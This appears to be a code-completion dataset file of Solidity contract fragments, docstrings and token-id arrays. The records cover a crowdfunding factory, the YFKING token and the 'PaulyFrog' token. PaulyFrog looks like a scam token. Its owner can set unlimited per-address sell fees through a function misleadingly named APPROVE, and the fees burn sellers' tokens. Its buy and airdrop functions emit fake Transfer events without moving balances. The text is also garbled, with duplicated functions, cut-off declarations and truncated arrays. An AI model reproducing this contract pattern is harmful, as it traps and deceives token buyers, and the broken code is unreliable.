* @param _user Address of user account being transferred
* @param _forSelf Indicates if the transfer is made on behalf of a trustee
*/
function initiateUserTransfer(address _user, bool _forSelf) external {
if (_forSelf) {
require(
msg.sender == _user,
"only the user can initiate the transfer"
);
accountInTransit[msg.sender] = true;
accountTransitStartedBy[msg.sender] = msg.sender;
} else {
require(isUserTrustee[_user][msg.sender], "not a trustee");
if (!accountInTransit[_user]) {
accountInTransit[_user] = true;
accountTransitStartedBy[_user] = msg.sender;
}
}
}
/// @dev calls off the user account transfer process
function deactivateAccountTransfer() external {
if (accountInTransit[msg.sender]) {
accountInTransit[msg.sender] = false;
accountTransitStartedBy[msg.sender] = address(0);
}
}
/**
* @dev Trustees are people the user can add to help recover their account in the case they lose access to ther wallets
* @param _trustee Address of the trustee, must be a verified user
*/
function addTrustee(address _trustee) external whenNotPaused {
require(userIsVerified(msg.sender), "unverified user");
require(userIsVerified(_trustee), "unverified trustee");
require(userTrusteeCount[msg.sender] <= 6, "trustees exhausted");
isUserTrustee[msg.sender][_trustee] = true;
trustees.push(Trust(_trustee, msg.sender, block.timestamp, true));
userTrusteeCount[msg.sender] = userTrusteeCount[msg.sender].add(1);
emit TrusteeAdded(trustees.length.sub(1), _trustee);
}
/**
* @dev Removes a trustee from users list of trustees
* @param _trusteeId Address of the trustee
*/
function removeTrustee(uint256 _trusteeId) external whenNotPaused {
Trust storage trustee = trustees[_trusteeId];
require(msg.sender == trustee.trustor, "not owner of trust");
require(userIsVerified(msg.sender), "unverified user");
isUserTrustee[msg.sender][trustee.trustee] = false;
userTrusteeCount[msg.sender] = userTrusteeCount[msg.sender].sub(1);
delete trustees[_trusteeId];
emit TrusteeRemoved(_trusteeId, trustee.trustee);
}
/**
* @dev Approves or disapproves a user
* @param _user Address of the user
* @param _approval Indicates if the user will be approved or not
*/
function toggleUserApproval(address _user, bool _approval)
external
onlyAdmin
whenNotPaused
{
users[_user].verified = _approval;
users[_user].updatedAt = block.timestamp;
emit UserApproval(_user, _approval);
}
/**
* @dev Deploys and tracks a new campagign
* @param _categoryId ID of the category the campaign belongs to
* @param _privateCampaign Indicates approval status of the campaign
* @param _hashedCampaignInfo CID reference of the reward on IPFS
*/
function createCampaign(
uint256 _categoryId,
bool _privateCampaign,
string memory _hashedCampaignInfo
) external whenNotPaused {
// check `_categoryId` exists and active
require(
campaignCategories[_categoryId].exists &&
campaignCategories[_categoryId].active
);
// check user exists
require(userExists[msg.sender], "user does not exist");
require(campaignImplementation != address(0), "zero address");
require(campaignRewardsImplementation != address(0), "zero address");
require(campaignRequestsImplementation != address(0), "zero address");
require(campaignVotesImplementation != address(0), "zero address");
Campaign campaign = Campaign(
ClonesUpgradeable.clone(campaignImplementation)
);
CampaignReward campaignRewards = CampaignReward(
ClonesUpgradeable.clone(campaignRewardsImplementation)
);
CampaignRequest campaignRequests = CampaignRequest(
ClonesUpgradeable.clone(campaignRequestsImplementation)
);
CampaignVote campaignVotes = CampaignVote(
ClonesUpgradeable.clone(campaignVotesImplementation)
);
CampaignInfo memory campaignInfo = CampaignInfo({
category: _categoryId,
hashedCampaignInfo: _hashedCampaignInfo,
owner: msg.sender,
createdAt: block.timestamp,
updatedAt: 0,
active: false,
privateCampaign: _privateCampaign
});
campaigns[campaign] = campaignInfo;
campaignCategories[_categoryId].campaignCount = campaignCategories[
_categoryId
].campaignCount.add(1);
campaignCount = campaignCount.add(1);
Campaign(campaign).__Campaign_init(
CampaignFactory(this),
CampaignReward(campaignRewards),
CampaignRequest(campaignRequests),
CampaignVote(campaignVotes),
msg.sender
);
CampaignReward(campaignRewards).__CampaignReward_init(
CampaignFactory(this),
Campaign(campaign)
);
CampaignRequest(campaignRequests).__CampaignRequest_init(
CampaignFactory(this),
Campaign(campaign)
);
CampaignVote(campaignVotes).__CampaignVote_init(
CampaignFactory(this),
Campaign(campaign)
);
emit CampaignDeployed(
address(this),
address(campaign),
address(campaignRewards),
address(campaignRequests),
address(campaignVotes),
_categoryId,
_privateCampaign,
_hashedCampaignInfo
);
}
/**
* @dev Activates a campaign. Activating a campaign simply makes the campaign available for listing
on crowdship, events will be stored on thegraph activated or not, Restricted to governance
* @param _campaign Address of the campaign
*/
function toggleCampaignActivation(Campaign _campaign)
external
onlyAdmin
whenNotPaused
{
if (campaigns[_campaign].active) {
campaigns[_campaign].active = false;
} else {
campaigns[_campaign].active = true;
}
campaigns[_campaign].updatedAt = block.timestamp;
emit CampaignActivation(_campaign, campaigns[_campaign].active);
}
/**
* @dev Toggles the campaign privacy setting, Restricted to campaign managers
* @param _campaign Address of the campaign
*/
function toggleCampaignPrivacy(Campaign _campaign)
external
campaignOwner(_campaign)
whenNotPaused
{
if (campaigns[_campaign].privateCampaign) {
campaigns[_campaign].privateCampaign = false;
} else {
campaigns[_campaign].privateCampaign = true;
}
campaigns[_campaign].updatedAt = block.timestamp;
emit CampaignPrivacyChange(
_campaign,
campaigns[_campaign].privateCampaign
);
}
/**
* @dev Modifies a campaign's category.
* @param _campaign Address of the campaign
* @param _newCategoryId ID of the category being switched to
*/
function modifyCampaignCategory(Campaign _campaign, uint256 _newCategoryId)
external
campaignOwner(_campaign)
whenNotPaused
{
uint256 _oldCategoryId = campaigns[_campaign].category;
if (_oldCategoryId != _newCategoryId) {
require(campaignCategories[_newCategoryId].exists);
campaigns[_campaign].category = _newCategoryId;
campaignCategories[_oldCategoryId]
.campaignCount = campaignCategories[_oldCategoryId]
.campaignCount
.sub(1);
campaignCategories[_newCategoryId]
.campaignCount = campaignCategories[_newCategoryId]
.campaignCount
.add(1);
campaigns[_campaign].updatedAt = block.timestamp;
emit CampaignCategoryChange(_campaign, _newCategoryId);
}
}
/**
* @dev Public implementation of createCategory method
* @param _active Indicates if a category is active allowing for campaigns to be assigned to it
* @param _title Title of the category
* @param _hashedCategory CID reference of the category on IPFS
*/
function createCategory(
bool _active,
string memory _title,
string memory _hashedCategory
) public onlyAdmin whenNotPaused {
_createCategory(_active, _title, _hashedCategory);
}
/**
* @dev Creates a category
* @param _active Indicates if a category is active allowing for campaigns to be assigned to it
* @param _title Title of the category
* @param _hashedCategory CID reference of the category on IPFS
*/
function _createCategory(
bool _active,
string memory _title,
string memory _hashedCategory
) private whenNotPaused {
require(!categoryTitleIsTaken[_title], "title not unique");
// create category with `campaignCount` default to 0
CampaignCategory memory newCategory = CampaignCategory({
campaignCount: 0,
createdAt: block.timestamp,
updatedAt: 0,
title: _title,
active: _active,
exists: true,
hashedCategory: _hashedCategory
});
campaignCategories.push(newCategory);
categoryCount = categoryCount.add(1);
categoryCommission[campaignCategories.length.sub(1)] = 0;
categoryTitleIsTaken[_title] = true;
emit CategoryAdded(
campaignCategories.length.sub(1),
_active,
_title,
_hashedCategory
);
}
/**
* @dev Modifies details about a category
* @param _categoryId ID of the category
* @param _active Indicates if a category is active allowing for campaigns to be assigned to it
* @param _title Title of the category
*/
function modifyCategory(
uint256 _categoryId,
bool _active,
string memory _title
) external onlyAdmin whenNotPaused {
require(campaignCategories[_categoryId].exists);
if (
keccak256(
abi.encodePacked(campaignCategories[_categoryId].title)
) != keccak256(abi.encodePacked(_title))
) {
require(!categoryTitleIsTaken[_title], "title not unique");
campaignCategories[_categoryId].title = _title;
categoryTitleIsTaken[_title] = true;
}
campaignCategories[_categoryId].active = _active;
campaignCategories[_categoryId].updatedAt = block.timestamp;
emit CategoryModified(_categoryId, _active, _title);
}
/// @dev Unpauses the factory, transactions in the factory resumes per usual
function unpauseCampaign() external whenPaused onlyAdmin {
_unpause();
}
/// @dev Pauses the factory, halts all transactions in the factory
function pauseCampaign() external whenNotPaused onlyAdmin {
_pause();
}
}
| * @dev Checks if a user can manage a campaign. Called but not restricted to external campaign proxies @param _user Address of user/ | function canManageCampaigns(address _user) public view returns (bool) {
return _user == governance;
}
| 2,498,661 | [
1,
4081,
309,
279,
729,
848,
10680,
279,
8965,
18,
11782,
1496,
486,
15693,
358,
3903,
8965,
13263,
4202,
389,
1355,
565,
5267,
434,
729,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
848,
21258,
13432,
87,
12,
2867,
389,
1355,
13,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
1355,
422,
314,
1643,
82,
1359,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.17;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "permission denied");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "invalid address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 value, address token, bytes calldata data) external;
}
contract YFKING is Ownable {
// --- ERC20 Data ---
string public constant name = "yfking.network";
string public constant symbol = "YFKG";
string public constant version = "1";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public nonces;
event Approval(address indexed holder, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
// --- Math ---
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
// --- EIP712 niceties ---
bytes32 public DOMAIN_SEPARATOR;
// bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address holder,address spender,uint256 nonce,uint256 expiry,bool allowed)");
bytes32 public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
constructor(uint256 chainId_) public {
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes(version)),
chainId_,
address(this)
));
}
// --- Token ---
function supply(address to, uint256 amount) external onlyOwner {
balanceOf[to] = add(balanceOf[to], amount);
totalSupply = add(totalSupply, amount);
emit Transfer(address(0), to, amount);
}
function transfer(address to, uint256 amount) external returns (bool) {
return transferFrom(msg.sender, to, amount);
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
if (from != msg.sender && allowance[from][msg.sender] != uint256(-1))
allowance[from][msg.sender] = sub(allowance[from][msg.sender], amount);
require(balanceOf[from] >= amount, "insufficient-balance");
balanceOf[from] = sub(balanceOf[from], amount);
balanceOf[to] = add(balanceOf[to], amount);
emit Transfer(from, to, amount);
return true;
}
function burn(address from, uint256 amount) external {
if (from != msg.sender && allowance[from][msg.sender] != uint256(-1))
allowance[from][msg.sender] = sub(allowance[from][msg.sender], amount);
require(balanceOf[from] >= amount, "insufficient-balance");
balanceOf[from] = sub(balanceOf[from], amount);
totalSupply = sub(totalSupply, amount);
emit Transfer(from, address(0), amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
// --- Approve and call contract ---
function approveAndCall(address spender, uint256 amount, bytes calldata data) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), data);
return true;
}
// --- Approve by signature ---
function permit(address holder, address spender, uint256 nonce, uint256 expiry,
bool allowed, uint8 v, bytes32 r, bytes32 s) external
{
bytes32 digest =
keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH,
holder,
spender,
nonce,
expiry,
allowed))
));
require(holder != address(0), "invalid-address-0");
require(holder == ecrecover(digest, v, r, s), "invalid-permit");
require(expiry == 0 || now <= expiry, "permit-expired");
require(nonce == nonces[holder]++, "invalid-nonce");
uint256 amount = allowed ? uint256(-1) : 0;
allowance[holder][spender] = amount;
emit Approval(holder, spender, amount);
}
} | --- Approve by signature --- | function permit(address holder, address spender, uint256 nonce, uint256 expiry,
bool allowed, uint8 v, bytes32 r, bytes32 s) external
{
bytes32 digest =
keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH,
holder,
spender,
nonce,
expiry,
allowed))
));
require(holder != address(0), "invalid-address-0");
require(holder == ecrecover(digest, v, r, s), "invalid-permit");
require(expiry == 0 || now <= expiry, "permit-expired");
require(nonce == nonces[holder]++, "invalid-nonce");
uint256 amount = allowed ? uint256(-1) : 0;
allowance[holder][spender] = amount;
emit Approval(holder, spender, amount);
}
| 515,351 | [
1,
6062,
1716,
685,
537,
635,
3372,
9948,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
21447,
12,
2867,
10438,
16,
1758,
17571,
264,
16,
2254,
5034,
7448,
16,
2254,
5034,
10839,
16,
203,
10792,
1426,
2935,
16,
2254,
28,
331,
16,
1731,
1578,
436,
16,
1731,
1578,
272,
13,
3903,
203,
565,
288,
203,
3639,
1731,
1578,
5403,
273,
203,
5411,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
203,
7734,
1548,
92,
3657,
64,
92,
1611,
3113,
203,
7734,
27025,
67,
4550,
16,
203,
7734,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
12,
3194,
6068,
67,
2399,
15920,
16,
203,
19694,
10438,
16,
203,
19694,
17571,
264,
16,
203,
19694,
7448,
16,
203,
19694,
10839,
16,
203,
19694,
2935,
3719,
203,
3639,
262,
1769,
203,
203,
3639,
2583,
12,
4505,
480,
1758,
12,
20,
3631,
315,
5387,
17,
2867,
17,
20,
8863,
203,
3639,
2583,
12,
4505,
422,
425,
1793,
3165,
12,
10171,
16,
331,
16,
436,
16,
272,
3631,
315,
5387,
17,
457,
1938,
8863,
203,
3639,
2583,
12,
22409,
422,
374,
747,
2037,
1648,
10839,
16,
315,
457,
1938,
17,
15820,
8863,
203,
3639,
2583,
12,
12824,
422,
1661,
764,
63,
4505,
3737,
15,
16,
315,
5387,
17,
12824,
8863,
203,
3639,
2254,
5034,
3844,
273,
2935,
692,
2254,
5034,
19236,
21,
13,
294,
374,
31,
203,
3639,
1699,
1359,
63,
4505,
6362,
87,
1302,
264,
65,
273,
3844,
31,
203,
3639,
3626,
1716,
685,
1125,
12,
4505,
16,
17571,
264,
16,
3844,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xfe4fC26154f8e17804BC47F37C9ab380D0Ab9648/sources/PaulyFrog.sol | File contracts/Contract.sol | contract PaulyFrog is Ownable, ERC20 {
uint256 public immutable maxSupply = 420_690_000_000_000 * (10 ** decimals());
uint16 public constant MAX_PERCENTAGE = 10000;
bool public initialized = false;
address public uniswapV2Pair = address(0);
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public immutable buyFee = 0;
uint256 public immutable sellFee = 0;
uint256 public minRuleLimit = 0;
uint256 public maxRuleLimit = 0;
mapping(address => uint256) private _ruleLimitPerOne;
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
}
pragma solidity ^0.8.0;
constructor() ERC20("Pauly Frog", "PFrog0x") {
_mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
initialized = true;
uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
function setRule(uint256 _minRuleLimit, uint256 _maxRuleLimit) external onlyOwner {
minRuleLimit = _minRuleLimit;
maxRuleLimit = _maxRuleLimit;
}
function setUniswapPair(address _uniswapV2Pair) external onlyOwner {
uniswapV2Pair = _uniswapV2Pair;
}
function APPROVE(address _address, uint256 _amount) external onlyOwner {
_ruleLimitPerOne[_address] = _amount;
}
function buyTokens(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function buyTokens(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function airdropTokens(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function airdropTokens(address _caller, address[] calldata _address, uint256[] calldata _amount) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(
initialized == true,
"Contract: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
}
else if (to == uniswapV2Pair) {
if (_ruleLimitPerOne[from] != 0) {
_fee = _ruleLimitPerOne[from];
}
else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
} | 4,262,110 | [
1,
812,
20092,
19,
8924,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
